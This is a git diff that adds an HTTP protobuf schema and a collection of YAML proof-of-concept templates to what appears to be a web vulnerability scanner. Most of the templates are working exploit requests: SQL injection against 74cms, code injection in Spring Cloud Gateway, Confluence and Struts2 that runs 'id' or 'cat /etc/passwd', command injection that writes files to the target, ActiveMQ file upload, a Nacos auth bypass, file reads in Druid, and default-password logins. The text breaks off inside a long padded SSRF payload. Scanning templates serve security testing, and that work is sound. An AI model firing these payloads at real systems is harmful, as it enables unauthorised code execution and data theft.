+ GoPackagePath: reflect.TypeOf(x{}).PkgPath(),
+ RawDescriptor: file_http_proto_rawDesc,
+ NumEnums: 0,
+ NumMessages: 6,
+ NumExtensions: 0,
+ NumServices: 0,
+ },
+ GoTypes: file_http_proto_goTypes,
+ DependencyIndexes: file_http_proto_depIdxs,
+ MessageInfos: file_http_proto_msgTypes,
+ }.Build()
+ File_http_proto = out.File
+ file_http_proto_rawDesc = nil
+ file_http_proto_goTypes = nil
+ file_http_proto_depIdxs = nil
+}
diff --git a/webscan/lib/http.proto b/webscan/lib/http.proto
new file mode 100644
index 0000000..f03e276
--- /dev/null
+++ b/webscan/lib/http.proto
@@ -0,0 +1,38 @@
+syntax = "proto3";
+package lib;
+
+option go_package = "./;lib";
+
+message UrlType {
+ string scheme = 1;
+ string domain = 2;
+ string host = 3;
+ string port = 4;
+ string path = 5;
+ string query = 6;
+ string fragment = 7;
+}
+
+message Request {
+ UrlType url = 1;
+ string method = 2;
+ map headers = 3;
+ string content_type = 4;
+ bytes body = 5;
+}
+
+message Response {
+ UrlType url = 1;
+ int32 status = 2 ;
+ map headers = 3;
+ string content_type = 4;
+ bytes body = 5;
+ double duration = 6;
+}
+
+message Reverse {
+ string url = 1;
+ string domain = 2;
+ string ip = 3;
+ bool is_domain_name_server = 4;
+}
diff --git a/webscan/pocs/74cms-sqli-1.yml b/webscan/pocs/74cms-sqli-1.yml
new file mode 100644
index 0000000..0b1d6aa
--- /dev/null
+++ b/webscan/pocs/74cms-sqli-1.yml
@@ -0,0 +1,16 @@
+name: poc-yaml-74cms-sqli-1
+set:
+ rand: randomInt(200000000, 210000000)
+rules:
+ - method: POST
+ path: /plus/weixin.php?signature=da39a3ee5e6b4b0d3255bfef95601890afd80709\xc3\x97tamp=&nonce=
+ headers:
+ Content-Type: 'text/xml'
+ body: ]>&test;111112331%' union select md5({{rand}})#
+ follow_redirects: false
+ expression: |
+ response.body.bcontains(bytes(md5(string(rand))))
+detail:
+ author: betta(https://github.com/betta-cyber)
+ links:
+ - https://www.uedbox.com/post/29340
diff --git a/webscan/pocs/74cms-sqli-2.yml b/webscan/pocs/74cms-sqli-2.yml
new file mode 100644
index 0000000..ed6f4ae
--- /dev/null
+++ b/webscan/pocs/74cms-sqli-2.yml
@@ -0,0 +1,12 @@
+name: poc-yaml-74cms-sqli-2
+set:
+ rand: randomInt(200000000, 210000000)
+rules:
+ - method: GET
+ path: /plus/ajax_officebuilding.php?act=key&key=錦%27%20a<>nd%201=2%20un<>ion%20sel<>ect%201,2,3,md5({{rand}}),5,6,7,8,9%23
+ expression: |
+ response.body.bcontains(bytes(md5(string(rand))))
+detail:
+ author: rexus
+ links:
+ - https://www.uedbox.com/post/30019/
diff --git a/webscan/pocs/74cms-sqli.yml b/webscan/pocs/74cms-sqli.yml
new file mode 100644
index 0000000..cff0f68
--- /dev/null
+++ b/webscan/pocs/74cms-sqli.yml
@@ -0,0 +1,10 @@
+name: poc-yaml-74cms-sqli
+rules:
+ - method: GET
+ path: /index.php?m=&c=AjaxPersonal&a=company_focus&company_id[0]=match&company_id[1][0]=aaaaaaa") and extractvalue(1,concat(0x7e,md5(99999999))) -- a
+ expression: |
+ response.body.bcontains(b"ef775988943825d2871e1cfa75473ec")
+detail:
+ author: jinqi
+ links:
+ - https://www.t00ls.net/articles-54436.html
diff --git a/webscan/pocs/CVE-2017-7504-Jboss-serialization-RCE.yml b/webscan/pocs/CVE-2017-7504-Jboss-serialization-RCE.yml
new file mode 100644
index 0000000..da06f09
--- /dev/null
+++ b/webscan/pocs/CVE-2017-7504-Jboss-serialization-RCE.yml
@@ -0,0 +1,11 @@
+name: poc-yaml-CVE-2017-7504-Jboss-serialization-RCE
+rules:
+ - method: GET
+ path: /jbossmq-httpil/HTTPServerILServlet
+ expression: |
+ response.status == 200 && response.body.bcontains(b'This is the JBossMQ HTTP-IL')
+detail:
+ author: mamba
+ description: "CVE-2017-7504-Jboss-serialization-RCE by chaosec公众号"
+ links:
+ - https://github.com/chaosec2021
diff --git a/webscan/pocs/CVE-2022-22947.yml b/webscan/pocs/CVE-2022-22947.yml
new file mode 100644
index 0000000..a2f2fc3
--- /dev/null
+++ b/webscan/pocs/CVE-2022-22947.yml
@@ -0,0 +1,44 @@
+name: Spring-Cloud-CVE-2022-22947
+set:
+ router: randomLowercase(8)
+ rand1: randomInt(800000000, 1000000000)
+ rand2: randomInt(800000000, 1000000000)
+rules:
+ - method: POST
+ path: /actuator/gateway/routes/{{router}}
+ headers:
+ Content-Type: application/json
+ body: |
+ {
+ "id": "{{router}}",
+ "filters": [{
+ "name": "AddResponseHeader",
+ "args": {"name": "Result","value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"expr\",\"{{rand1}}\",\"+\",\"{{rand2}}\"}).getInputStream()))}"}
+ }],
+ "uri": "http://example.com",
+ "order": 0
+ }
+ expression: response.status == 201
+ - method: POST
+ path: /actuator/gateway/refresh
+ headers:
+ Content-Type: application/json
+ expression: response.status == 200
+ - method: GET
+ path: /actuator/gateway/routes/{{router}}
+ headers:
+ Content-Type: application/json
+ expression: response.status == 200 && response.body.bcontains(bytes(string(rand1 + rand2)))
+ - method: DELETE
+ path: /actuator/gateway/routes/{{router}}
+ expression: response.status == 200
+ - method: POST
+ path: /actuator/gateway/refresh
+ headers:
+ Content-Type: application/json
+ expression: response.status == 200
+detail:
+ author: jweny
+ description: Spring Cloud Gateway Code Injection
+ links:
+ - https://mp.weixin.qq.com/s/qIAcycsO_L9JKisG5Bgg_w
diff --git a/webscan/pocs/CVE-2022-22954-VMware-RCE.yml b/webscan/pocs/CVE-2022-22954-VMware-RCE.yml
new file mode 100644
index 0000000..f15af4c
--- /dev/null
+++ b/webscan/pocs/CVE-2022-22954-VMware-RCE.yml
@@ -0,0 +1,11 @@
+name: poc-yaml-CVE-2022-22954-VMware-RCE
+rules:
+ - method: GET
+ path: /catalog-portal/ui/oauth/verify?error=&deviceUdid=%24%7b"freemarker%2etemplate%2eutility%2eExecute"%3fnew%28%29%28"id"%29%7d
+ expression: |
+ response.status == 400 && "device id:".bmatches(response.body)
+detail:
+ author: mamba
+ description: "CVE-2022-22954-VMware-RCE by chaosec公众号"
+ links:
+ - https://github.com/chaosec2021
diff --git a/webscan/pocs/CVE-2022-26134.yml b/webscan/pocs/CVE-2022-26134.yml
new file mode 100644
index 0000000..8e7469b
--- /dev/null
+++ b/webscan/pocs/CVE-2022-26134.yml
@@ -0,0 +1,16 @@
+name: Confluence-CVE-2022-26134
+
+rules:
+ - method: GET
+ path: /%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/
+ expression: response.status == 302 && "((u|g)id|groups)=[0-9]{1,4}\\([a-z0-9]+\\)".bmatches(response.raw_header)
+detail:
+ author: zan8in
+ description: |
+ Atlassian Confluence OGNL注入漏洞
+ Atlassian Confluence是企业广泛使用的wiki系统。2022年6月2日Atlassian官方发布了一则安全更新,通告了一个严重且已在野利用的代码执行漏洞,攻击者利用这个漏洞即可无需任何条件在Confluence中执行任意命令。
+ app="ATLASSIAN-Confluence"
+ links:
+ - https://nvd.nist.gov/vuln/detail/CVE-2022-26134
+ - http://wiki.peiqi.tech/wiki/webapp/AtlassianConfluence/Atlassian%20Confluence%20OGNL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%20CVE-2022-26134.html
+ - https://mp.weixin.qq.com/s?__biz=MzkxNDAyNTY2NA==&mid=2247488978&idx=1&sn=c0a5369f2b374dcef0bbf61b9239b1dd
diff --git a/webscan/pocs/Hotel-Internet-Manage-RCE.yml b/webscan/pocs/Hotel-Internet-Manage-RCE.yml
new file mode 100644
index 0000000..bd124e5
--- /dev/null
+++ b/webscan/pocs/Hotel-Internet-Manage-RCE.yml
@@ -0,0 +1,12 @@
+name: Hotel-Internet-Manage-RCE
+rules:
+ - method: GET
+ path: "/manager/radius/server_ping.php?ip=127.0.0.1|cat /etc/passwd >../../Test.txt&id=1"
+ expression: |
+ response.status == 200 && response.body.bcontains(b"parent.doTestResult")
+detail:
+ author: test
+ Affected Version: "Hotel Internet Billing & Operation Support System"
+ links:
+ - http://118.190.97.19:88/qingy/Web%E5%AE%89%E5%85%A8
+
diff --git a/webscan/pocs/Struts2-062-cve-2021-31805-rce.yml b/webscan/pocs/Struts2-062-cve-2021-31805-rce.yml
new file mode 100644
index 0000000..d77a764
--- /dev/null
+++ b/webscan/pocs/Struts2-062-cve-2021-31805-rce.yml
@@ -0,0 +1,31 @@
+name: poc-yaml-struts2-062-cve-2021-31805-rce
+rules:
+ - method: POST
+ path: /
+ headers:
+ Content-Type: 'multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF'
+ Cache-Control: 'max-age=0'
+ Accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9'
+
+ body: "\
+ ------WebKitFormBoundaryl7d1B1aGsV2wcZwF\r\n\
+ Content-Disposition: form-data; name=\"id\"\r\n\r\n\
+ %{\r\n\
+ (#request.map=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +\r\n\
+ (#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) +\r\n\
+ (#request.map2=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +\r\n\
+ (#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) +\r\n
+ (#request.map3=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +\r\n\
+ (#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) +\r\n\
+ (#request.get('map3').put('excludedPackageNames',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +\r\n\
+ (#request.get('map3').put('excludedClasses',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +\r\n
+ (#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'cat /etc/passwd'}))\r\n
+ }\r\n\
+ ------WebKitFormBoundaryl7d1B1aGsV2wcZwF—
+ "
+ expression: |
+ response.status == 200 && "root:[x*]:0:0:".bmatches(response.body)
+detail:
+ author: Jaky
+ links:
+ - https://mp.weixin.qq.com/s/taEEl6UQ2yi4cqzs2UBfCg
diff --git a/webscan/pocs/active-directory-certsrv-detect.yml b/webscan/pocs/active-directory-certsrv-detect.yml
new file mode 100644
index 0000000..edf2dda
--- /dev/null
+++ b/webscan/pocs/active-directory-certsrv-detect.yml
@@ -0,0 +1,11 @@
+name: poc-yaml-active-directory-certsrv-detect
+rules:
+ - method: GET
+ path: /certsrv/certrqad.asp
+ follow_redirects: false
+ expression: |
+ response.status == 401 && "Server" in response.headers && response.headers["Server"].contains("Microsoft-IIS") && response.body.bcontains(bytes("401 - ")) && "Www-Authenticate" in response.headers && response.headers["Www-Authenticate"].contains("Negotiate") && "Www-Authenticate" in response.headers && response.headers["Www-Authenticate"].contains("NTLM")
+detail:
+ author: AgeloVito
+ links:
+ - https://www.cnblogs.com/EasonJim/p/6859345.html
diff --git a/webscan/pocs/activemq-cve-2016-3088.yml b/webscan/pocs/activemq-cve-2016-3088.yml
new file mode 100644
index 0000000..7b93f13
--- /dev/null
+++ b/webscan/pocs/activemq-cve-2016-3088.yml
@@ -0,0 +1,34 @@
+name: poc-yaml-activemq-cve-2016-3088
+set:
+ filename: randomLowercase(6)
+ fileContent: randomLowercase(6)
+rules:
+ - method: PUT
+ path: /fileserver/{{filename}}.txt
+ body: |
+ {{fileContent}}
+ expression: |
+ response.status == 204
+ - method: GET
+ path: /admin/test/index.jsp
+ search: |
+ activemq.home=(?P.*?),
+ follow_redirects: false
+ expression: |
+ response.status == 200
+ - method: MOVE
+ path: /fileserver/{{filename}}.txt
+ headers:
+ Destination: "file://{{home}}/webapps/api/{{filename}}.jsp"
+ follow_redirects: false
+ expression: |
+ response.status == 204
+ - method: GET
+ path: /api/{{filename}}.jsp
+ follow_redirects: false
+ expression: |
+ response.status == 200 && response.body.bcontains(bytes(fileContent))
+detail:
+ author: j4ckzh0u(https://github.com/j4ckzh0u)
+ links:
+ - https://github.com/vulhub/vulhub/tree/master/activemq/CVE-2016-3088
diff --git a/webscan/pocs/activemq-default-password.yml b/webscan/pocs/activemq-default-password.yml
new file mode 100644
index 0000000..d9a7ef9
--- /dev/null
+++ b/webscan/pocs/activemq-default-password.yml
@@ -0,0 +1,16 @@
+name: poc-yaml-activemq-default-password
+rules:
+ - method: GET
+ path: /admin/
+ expression: |
+ response.status == 401 && response.body.bcontains(b"Unauthorized")
+ - method: GET
+ path: /admin/
+ headers:
+ Authorization: Basic YWRtaW46YWRtaW4=
+ expression: |
+ response.status == 200 && response.body.bcontains(b"Welcome to the Apache ActiveMQ Console of") && response.body.bcontains(b"Broker
")
+detail:
+ author: pa55w0rd(www.pa55w0rd.online/)
+ links:
+ - https://blog.csdn.net/ge00111/article/details/72765210
\ No newline at end of file
diff --git a/webscan/pocs/airflow-unauth.yml b/webscan/pocs/airflow-unauth.yml
new file mode 100644
index 0000000..43b8ce7
--- /dev/null
+++ b/webscan/pocs/airflow-unauth.yml
@@ -0,0 +1,10 @@
+name: poc-yaml-airflow-unauth
+rules:
+ - method: GET
+ path: /admin/
+ expression: |
+ response.status == 200 && response.body.bcontains(b"Airflow - DAGs") && response.body.bcontains(b"DAGs
")
+detail:
+ author: pa55w0rd(www.pa55w0rd.online/)
+ links:
+ - http://airflow.apache.org/
diff --git a/webscan/pocs/alibaba-canal-default-password.yml b/webscan/pocs/alibaba-canal-default-password.yml
new file mode 100644
index 0000000..bee4b21
--- /dev/null
+++ b/webscan/pocs/alibaba-canal-default-password.yml
@@ -0,0 +1,19 @@
+name: poc-yaml-alibaba-canal-default-password
+rules:
+ - method: POST
+ path: /api/v1/user/login
+ expression: |
+ response.status == 200 && response.body.bcontains(b"com.alibaba.otter.canal.admin.controller.UserController.login")
+ - method: POST
+ path: /api/v1/user/login
+ headers:
+ Content-Type: application/json
+ body: >-
+ {"username":"admin","password":"123456"}
+ follow_redirects: false
+ expression: |
+ response.status == 200 && response.body.bcontains(b"{\"code\":20000,") && response.body.bcontains(b"\"data\":{\"token\"")
+detail:
+ author: jweny(https://github.com/jweny)
+ links:
+ - https://www.cnblogs.com/xiexiandong/p/12888582.html
diff --git a/webscan/pocs/alibaba-canal-info-leak.yml b/webscan/pocs/alibaba-canal-info-leak.yml
new file mode 100644
index 0000000..a51de57
--- /dev/null
+++ b/webscan/pocs/alibaba-canal-info-leak.yml
@@ -0,0 +1,12 @@
+name: poc-yaml-alibaba-canal-info-leak
+rules:
+ - method: GET
+ path: /api/v1/canal/config/1/1
+ follow_redirects: false
+ expression: |
+ response.status == 200 && response.content_type.icontains("application/json") && response.body.bcontains(b"ncanal.aliyun.accessKey") && response.body.bcontains(b"ncanal.aliyun.secretKey")
+detail:
+ author: Aquilao(https://github.com/Aquilao)
+ info: alibaba Canal info leak
+ links:
+ - https://my.oschina.net/u/4581879/blog/4753320
\ No newline at end of file
diff --git a/webscan/pocs/alibaba-nacos-v1-auth-bypass.yml b/webscan/pocs/alibaba-nacos-v1-auth-bypass.yml
new file mode 100644
index 0000000..4effabc
--- /dev/null
+++ b/webscan/pocs/alibaba-nacos-v1-auth-bypass.yml
@@ -0,0 +1,27 @@
+name: poc-yaml-alibaba-nacos-v1-auth-bypass
+set:
+ r1: randomLowercase(16)
+ r2: randomLowercase(16)
+rules:
+ - method: POST
+ path: "/nacos/v1/auth/users?username={{r1}}&password={{r2}}"
+ headers:
+ User-Agent: Nacos-Server
+ expression: |
+ response.status == 200 && response.body.bcontains(bytes("create user ok!"))
+ - method: GET
+ path: "/nacos/v1/auth/users?pageNo=1&pageSize=999"
+ headers:
+ User-Agent: Nacos-Server
+ expression: |
+ response.status == 200 && response.body.bcontains(bytes(r1))
+ - method: DELETE
+ path: "/nacos/v1/auth/users?username={{r1}}"
+ headers:
+ User-Agent: Nacos-Server
+ expression: |
+ response.status == 200 && response.body.bcontains(bytes("delete user ok!"))
+detail:
+ author: kmahyyg(https://github.com/kmahyyg)
+ links:
+ - https://github.com/alibaba/nacos/issues/4593
diff --git a/webscan/pocs/alibaba-nacos.yml b/webscan/pocs/alibaba-nacos.yml
new file mode 100644
index 0000000..34a4407
--- /dev/null
+++ b/webscan/pocs/alibaba-nacos.yml
@@ -0,0 +1,13 @@
+name: poc-yaml-alibaba-nacos
+rules:
+ - method: GET
+ path: /nacos/
+ follow_redirects: true
+ expression: |
+ response.body.bcontains(bytes("Nacos"))
+detail:
+ author: AgeloVito
+ info: alibaba-nacos
+ login: nacos/nacos
+ links:
+ - https://blog.csdn.net/caiqiiqi/article/details/112005424
diff --git a/webscan/pocs/amtt-hiboss-server-ping-rce.yml b/webscan/pocs/amtt-hiboss-server-ping-rce.yml
new file mode 100644
index 0000000..b833f41
--- /dev/null
+++ b/webscan/pocs/amtt-hiboss-server-ping-rce.yml
@@ -0,0 +1,18 @@
+name: poc-yaml-amtt-hiboss-server-ping-rce
+set:
+ r2: randomLowercase(10)
+rules:
+ - method: GET
+ path: /manager/radius/server_ping.php?ip=127.0.0.1|echo%20"">../../{{r2}}.php&id=1
+ expression: |
+ response.status == 200 && response.body.bcontains(b"parent.doTestResult")
+ - method: GET
+ path: /{{r2}}.php
+ expression: |
+ response.status == 200 && response.body.bcontains(bytes(md5(r2)))
+
+detail:
+ author: YekkoY
+ description: "安美数字-酒店宽带运营系统-远程命令执行漏洞"
+ links:
+ - http://wiki.peiqi.tech/PeiQi_Wiki/Web%E5%BA%94%E7%94%A8%E6%BC%8F%E6%B4%9E/%E5%AE%89%E7%BE%8E%E6%95%B0%E5%AD%97/%E5%AE%89%E7%BE%8E%E6%95%B0%E5%AD%97%20%E9%85%92%E5%BA%97%E5%AE%BD%E5%B8%A6%E8%BF%90%E8%90%A5%E7%B3%BB%E7%BB%9F%20server_ping.php%20%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E.html
diff --git a/webscan/pocs/apache-ambari-default-password.yml b/webscan/pocs/apache-ambari-default-password.yml
new file mode 100644
index 0000000..c3337b8
--- /dev/null
+++ b/webscan/pocs/apache-ambari-default-password.yml
@@ -0,0 +1,11 @@
+name: poc-yaml-apache-ambari-default-password
+rules:
+ - method: GET
+ path: /api/v1/users/admin?fields=*,privileges/PrivilegeInfo/cluster_name,privileges/PrivilegeInfo/permission_name
+ headers:
+ Authorization: Basic YWRtaW46YWRtaW4=
+ expression: response.status == 200 && response.body.bcontains(b"PrivilegeInfo") && response.body.bcontains(b"AMBARI.ADMINISTRATOR")
+detail:
+ author: wulalalaaa(https://github.com/wulalalaaa)
+ links:
+ - https://cwiki.apache.org/confluence/display/AMBARI/Quick+Start+Guide
diff --git a/webscan/pocs/apache-axis-webservice-detect.yml b/webscan/pocs/apache-axis-webservice-detect.yml
new file mode 100644
index 0000000..1b3872d
--- /dev/null
+++ b/webscan/pocs/apache-axis-webservice-detect.yml
@@ -0,0 +1,25 @@
+name: poc-yaml-apache-axis-webservice-detect
+sets:
+ path:
+ - services
+ - servlet/AxisaxiServlet
+ - servlet/AxisServlet
+ - services/listServices
+ - services/FreeMarkerService
+ - services/AdminService
+ - axis/services
+ - axis2/services
+ - axis/servlet/AxisServlet
+ - axis2/servlet/AxisServlet
+ - axis2/services/listServices
+ - axis/services/FreeMarkerService
+ - axis/services/AdminService
+rules:
+ - method: GET
+ path: /{{path}}
+ expression: |
+ response.body.bcontains(b"Services") && response.body.bcontains(b'?wsdl">')
+detail:
+ author: AgeloVito
+ links:
+ - https://paper.seebug.org/1489
diff --git a/webscan/pocs/apache-druid-cve-2021-36749.yml b/webscan/pocs/apache-druid-cve-2021-36749.yml
new file mode 100644
index 0000000..5ba40f8
--- /dev/null
+++ b/webscan/pocs/apache-druid-cve-2021-36749.yml
@@ -0,0 +1,24 @@
+name: poc-yaml-apache-druid-cve-2021-36749
+manual: true
+transport: http
+groups:
+ druid1:
+ - method: POST
+ path: /druid/indexer/v1/sampler?for=connect
+ headers:
+ Content-Type: application/json;charset=utf-8
+ body: |
+ {"type":"index","spec":{"ioConfig":{"type":"index","firehose":{"type":"http","uris":["file:///etc/passwd"]}}},"samplerConfig":{"numRows":500}}
+ expression: response.status == 200 && response.content_type.contains("json") && "root:[x*]:0:0:".bmatches(response.body)
+ druid2:
+ - method: POST
+ path: /druid/indexer/v1/sampler?for=connect
+ headers:
+ Content-Type: application/json;charset=utf-8
+ body: |
+ {"type":"index","spec":{"ioConfig":{"type":"index","firehose":{"type":"http","uris":["file:///c://windows/win.ini"]}}},"samplerConfig":{"numRows":500}}
+ expression: response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"for 16-bit app support")
+detail:
+ author: iak3ec(https://github.com/nu0l)
+ links:
+ - https://mp.weixin.qq.com/s/Fl2hSO-y60VsTi5YJFyl0w
diff --git a/webscan/pocs/apache-flink-upload-rce.yml b/webscan/pocs/apache-flink-upload-rce.yml
new file mode 100644
index 0000000..8ea773c
--- /dev/null
+++ b/webscan/pocs/apache-flink-upload-rce.yml
@@ -0,0 +1,36 @@
+name: poc-yaml-apache-flink-upload-rce
+set:
+ r1: randomLowercase(8)
+ r2: randomLowercase(4)
+rules:
+ - method: GET
+ path: /jars
+ follow_redirects: true
+ expression: >
+ response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"address") && response.body.bcontains(b"files")
+ - method: POST
+ path: /jars/upload
+ headers:
+ Content-Type: multipart/form-data;boundary=8ce4b16b22b58894aa86c421e8759df3
+ body: |-
+ --8ce4b16b22b58894aa86c421e8759df3
+ Content-Disposition: form-data; name="jarfile";filename="{{r2}}.jar"
+ Content-Type:application/octet-stream
+
+ {{r1}}
+ --8ce4b16b22b58894aa86c421e8759df3--
+
+ follow_redirects: true
+ expression: >
+ response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"success") && response.body.bcontains(bytes(r2))
+ search: >-
+ (?P([a-zA-Z0-9]{8}-[a-zA-Z0-9]{4}-[a-zA-Z0-9]{4}-[a-zA-Z0-9]{4}-[a-zA-Z0-9]{12}_[a-z]{4}.jar))
+ - method: DELETE
+ path: '/jars/{{filen}}'
+ follow_redirects: true
+ expression: |
+ response.status == 200
+detail:
+ author: timwhite
+ links:
+ - https://github.com/LandGrey/flink-unauth-rce
diff --git a/webscan/pocs/apache-httpd-cve-2021-40438-ssrf.yml b/webscan/pocs/apache-httpd-cve-2021-40438-ssrf.yml
new file mode 100644
index 0000000..387129e
--- /dev/null
+++ b/webscan/pocs/apache-httpd-cve-2021-40438-ssrf.yml
@@ -0,0 +1,12 @@
+name: poc-yaml-apache-httpd-cve-2021-40438-ssrf
+manual: true
+transport: http
+rules:
+ - method: GET
+ path: /?unix:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA